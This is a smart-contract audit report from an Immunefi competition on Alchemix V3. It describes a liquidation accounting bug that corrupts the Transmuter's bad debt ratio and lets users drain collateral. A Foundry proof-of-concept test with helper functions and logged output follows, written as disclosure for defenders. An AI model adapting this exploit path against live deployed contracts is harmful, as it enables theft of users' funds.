Immunefi Audit Competitions57963 sc high incorrect mytsharesdeposited accounting in liquidate allows theft of user funds via corrupted bad debt ratio
Submitted on Oct 29th 2025 at 16:47:31 UTC by @Outliers for Audit Comp | Alchemix V3
- Report ID: #57963
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
During the liquidation process, the Alchemist contract transfers yield tokens (myt) to the Transmuter and a fee to the liquidator without updating its internal accounting variable _mytSharesDeposited. This omission artificially inflates the system's total collateral value, which in turn corrupts the bad debt calculation in the Transmuter. As a result, during a system insolvency, users would be able to claim more underlying assets than they are entitled to, systematically draining the protocol and pushing the realised losses onto the last users to withdraw.
Vulnerability Details
The core of the vulnerability is a missing state update in the liquidate function of the Alchemist contract. The _mytSharesDeposited variable is a critical internal accounting metric that tracks the total amount of yield tokens (myt) the Alchemist considers as deposited collateral. This variable is correctly updated in functions like deposit, withdraw, and repay, but is erroneously omitted during liquidations.
When a liquidation occurs, myt tokens are transferred out of the Alchemist contract:
- The majority of the liquidated amount is sent to the Transmuter.
- A fee is sent to the liquidator.
However, the _mytSharesDeposited is not reduced, creating a discrepancy between the contract's actual token balance and its internal ledger.
Code Snippet from Alchemist (liquidate function):
// send liquidation amount - fee to transmuter
TokenUtils.safeTransfer(myt, transmuter, amountLiquidated - feeInYield); // BUG: Tokens sent out, but _mytSharesDeposited is not reduced.
// send base fee to liquidator if available
if (feeInYield > 0 && account.collateralBalance >= feeInYield) {
TokenUtils.safeTransfer(myt, msg.sender, feeInYield); // BUG: Tokens sent out, but _mytSharesDeposited is not reduced.
}
// MISSING: _mytSharesDeposited -= (amountLiquidated);
This inflated _mytSharesDeposited value directly impacts the calculation of _getTotalUnderlyingValue(), which is used to determine the overall health of the system.
Code Snippet from Alchemist (_getTotalUnderlyingValue function):
function _getTotalUnderlyingValue() internal view returns (uint256 totalUnderlyingValue) {
uint256 yieldTokenTVLInUnderlying = convertYieldTokensToUnderlying(_mytSharesDeposited); // BUG: Uses inflated value
totalUnderlyingValue = yieldTokenTVLInUnderlying;
}
The miscalculated totalUnderlyingValue is then passed to the Transmuter's bad debt ratio calculation. This ratio determines how much users can claim when the system is under-collateralized. An inflated totalUnderlyingValue makes the system appear healthier than it is, leading to an incorrect (lower) badDebtRatio.
Code Snippet from Transmuter (simplified logic):
uint256 denominator = alchemist.getTotalUnderlyingValue() + ...;
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() * 1e18 / denominator;
uint256 scaledTransmuted = amountTransmuted;
if (badDebtRatio > 1e18) {
// Users' claims are correctly scaled down only if badDebtRatio > 1.
scaledTransmuted = amountTransmuted * 1e18 / badDebtRatio;
}
Because the badDebtRatio is artificially low due to the inflated denominator, the condition badDebtRatio > 1e18 may never be met, or the scaling factor applied may be insufficient. Consequently, users can claim a disproportionately large amount of underlying assets relative to the protocol's actual collateral, effectively draining it.
Impact Details
The impact of this vulnerability is theft of yield/protocol fees and direct theft of user funds, leading to a loss of user funds without a reasonable limit.
- Incorrect Accounting: The Alchemist's reported getTotalUnderlyingValue is permanently inflated, misleading users and external integrators about the protocol's solvency.
- Corrupted Insolvency Process: In a worst-case scenario where the system becomes under-collateralised (bad debt exists), the Transmuter will miscalculate the user's share of the remaining collateral.
- Systematic Drainage: Users transmuting their synthetic tokens will receive more underlying assets than they are entitled to. This will systematically drain the Transmuter's reserves (both its
mytbalance and any underlying assets redeemed from the Alchemist), leaving later users with nothing. - Magnitude of Loss: The loss is not capped. It is proportional to the amount of
mytliquidated without proper accounting. In a mass liquidation event, the accounting error could become very large, leading to a near-total drain of the protocol's collateral and a complete breakdown of the transmutation mechanism.
References
- Alchemist Liquidate Function: The function where
myttokens are transferred out without updating_mytSharesDeposited.
- Alchemist
_getTotalUnderlyingValueFunction: The function that uses the inflated_mytSharesDepositedto report TVL.
- Transmuter Bad Debt Calculation: The logic that relies on the Alchemist's
getTotalUnderlyingValue()to determine user payouts during insolvency.
Proof of Concept
Proof of Concept
Add this helper function to transmuter.sol
function baddebtratio() external view returns (uint256) {
// Ratio of total synthetics issued by the alchemist / underlingying value of collateral stored in the alchemist
// If the system experiences bad debt we use this ratio to scale back the value of yield tokens that are transmuted
uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.myt(), address(this));
// Avoid divide by 0
uint256 denominator = alchemist.getTotalUnderlyingValue() + alchemist.convertYieldTokensToUnderlying(yieldTokenBalance) > 0 ? alchemist.getTotalUnderlyingValue() + alchemist.convertYieldTokensToUnderlying(yieldTokenBalance) : 1;
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() * 10**TokenUtils.expectDecimals(alchemist.underlyingToken()) / denominator;
return badDebtRatio;
}
function baddebtratio2() external view returns (uint256) {
// when alchemist holds 0 myt test ratio one should be 1 1 should be a large vaule
uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.myt(), address(this));
// Avoid divide by 0
uint256 denominator = alchemist.getTotalUnderlyingValue() + alchemist.convertYieldTokensToUnderlying(yieldTokenBalance) > 0 ? 0 + alchemist.convertYieldTokensToUnderlying(yieldTokenBalance) : 1;
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() * 10**TokenUtils.expectDecimals(alchemist.underlyingToken()) / denominator;
return badDebtRatio;
}
function baddebtratio3() external view returns (uint256) {
// when alchemist holds 0 myt test ratio one should be 1 1 should be a large vaule
uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.myt(), address(this));
// Avoid divide by 0
uint256 denominator = alchemist.getTotalUnderlyingValue() + alchemist.convertYieldTokensToUnderlying(yieldTokenBalance) > 0 ? alchemist.getTotalUnderlyingValue() + 0 : 1;
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() * 10**TokenUtils.expectDecimals(alchemist.underlyingToken()) / denominator;
return badDebtRatio;
}
function letsee() external view returns (uint256) {
return TokenUtils.safeBalanceOf(myt, address(transmuter));}
function letsee2() external view returns (uint256) {
return TokenUtils.safeBalanceOf(myt, address(this));}
function bal(uint256 tokenId) external view returns (uint256) {
return _accounts[tokenId].collateralBalance ;
}
function lockedbal(uint256 tokenId) external view returns (uint256) {
return _accounts[tokenId].rawLocked ;
}
function testLiquidate_Full_Liquidation_Globally_Undercollateralized12345() external {
vm.startPrank(someWhale);
IMockYieldToken(mockStrategyYieldToken).mint(whaleSupply, someWhale);
vm.stopPrank();
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount + 100e18);
alchemist.deposit(depositAmount, address(0xbeef), 0);
// a single position nft would have been minted to 0xbeef
uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
uint debt123 = alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR / minimumCollateralization;
alchemist.mint(tokenIdFor0xBeef, debt123, address(0xbeef));
vm.stopPrank();
uint256 transmuterPreviousBalance = IERC20(address(vault)).balanceOf(address(transmuterLogic));
console.log("myt balance of alchemist:",alchemist.letsee2());
// modify yield token price via modifying underlying token supply
(uint256 prevCollateral, uint256 prevDebt,) = alchemist.getCDP(tokenIdFor0xBeef);
uint256 initialVaultSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialVaultSupply);
// increasing yeild token suppy by 59 bps or 5.9% while keeping the unederlying supply unchanged
uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(modifiedVaultSupply);
console.log("Bad debt ratio before:", transmuterLogic.baddebtratio());
// let another user liquidate the previous user position
vm.startPrank(externalUser);
uint256 liquidatorPrevTokenBalance = IERC20(address(vault)).balanceOf(address(externalUser));
uint256 liquidatorPrevUnderlyingBalance = IERC20(vault.asset()).balanceOf(address(externalUser));
uint256 alchemistCurrentCollateralization =
alchemist.normalizeUnderlyingTokensToDebt(alchemist.getTotalUnderlyingValue()) * FIXED_POINT_SCALAR / alchemist.totalDebt();
console.log("Current collateralization:", alchemistCurrentCollateralization);
console.log("global collateralization:", alchemist.globalMinimumCollateralization());
(uint256 liquidationAmount, uint256 expectedDebtToBurn,,) = alchemist.calculateLiquidation(
alchemist.totalValue(tokenIdFor0xBeef),
prevDebt,
alchemist.minimumCollateralization(),
alchemistCurrentCollateralization,
alchemist.globalMinimumCollateralization(),
liquidatorFeeBPS
);
uint256 expectedLiquidationAmountInYield = alchemist.convertDebtTokensToYield(liquidationAmount);
uint256 expectedBaseFeeInYield = 0;
// Account is still collateralized, but pulling from fee vault for globally bad debt scenario
uint256 expectedFeeInUnderlying = expectedDebtToBurn * liquidatorFeeBPS / 10_000;
(uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenIdFor0xBeef);
(uint256 depositedCollateral, uint256 debt,) = alchemist.getCDP(tokenIdFor0xBeef);
vm.stopPrank();
console.log("Bad debt ratio after:", transmuterLogic.baddebtratio());
console.log("Transmuter manual balance check before debt lock:",alchemist.letsee());
console.log("Debt amount:",debt123);
console.log("conversion factor:", alchemist. underlyingConversionFactor());
vm.startPrank(address(address(0xbeef)));
alchemist.withdraw( alchemist.bal(tokenIdFor0xBeef), address(0xbeef), tokenIdFor0xBeef);
vm.stopPrank();
vm.startPrank(address(address(0xbeef)));
SafeERC20.safeApprove(address(alToken), address(transmuterLogic), alchemist.totalSyntheticsIssued());
transmuterLogic.createRedemption( alchemist.totalSyntheticsIssued());
vm.stopPrank();
vm.roll(block.number + 5_256_100);
// decreasing yeild token suppy by 59 bps or 5.9% while keeping the unederlying supply unchanged
uint256 modifiedVaultSupply2 = initialVaultSupply - (initialVaultSupply * 2090 / 10_000) ;
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(modifiedVaultSupply);
console.log("tOTAL DEBT ISSUED BEFORE REDEMPTION CLAIM:", alchemist.totalSyntheticsIssued());
console.log("Bad debt ratio after price change:", transmuterLogic.baddebtratio());
console.log("myt balance of alchemist during redemption:",alchemist.letsee2());
console.log("Transmuter manual balance check after debt unlock:",alchemist.letsee());
console.log("Bad debt2 to show error", transmuterLogic.baddebtratio2());
console.log("Bad debt3 to show error", transmuterLogic.baddebtratio3());
vm.startPrank(address(address(0xbeef)));
transmuterLogic.claimRedemption(1);
vm.stopPrank();
}
Result
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] testLiquidate_Full_Liquidation_Globally_Undercollateralized12345() (gas: 3310926)
Logs:
myt balance of alchemist: 200000000000000000000000
Bad debt ratio before: 953100000000000001
Current collateralization: 1049207848074703597
global collateralization: 1111111111111111111
Bad debt ratio after: 487993446316112846
Transmuter manual balance check before debt lock: 190620000000000000201675
Debt amount: 180000000000000000018000
conversion factor: 1
tOTAL DEBT ISSUED BEFORE REDEMPTION CLAIM: 180000000000000000018000
Bad debt ratio after price change: 500000000000000000
myt balance of alchemist during redemption: 0
Transmuter manual balance check after debt unlock: 190620000000000000201675
Bad debt2 to show error 1000000000000000000
Bad debt3 to show error 1000000000000000000
Transmuter manual balance check after debt unlock: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.50ms (5.80ms CPU time)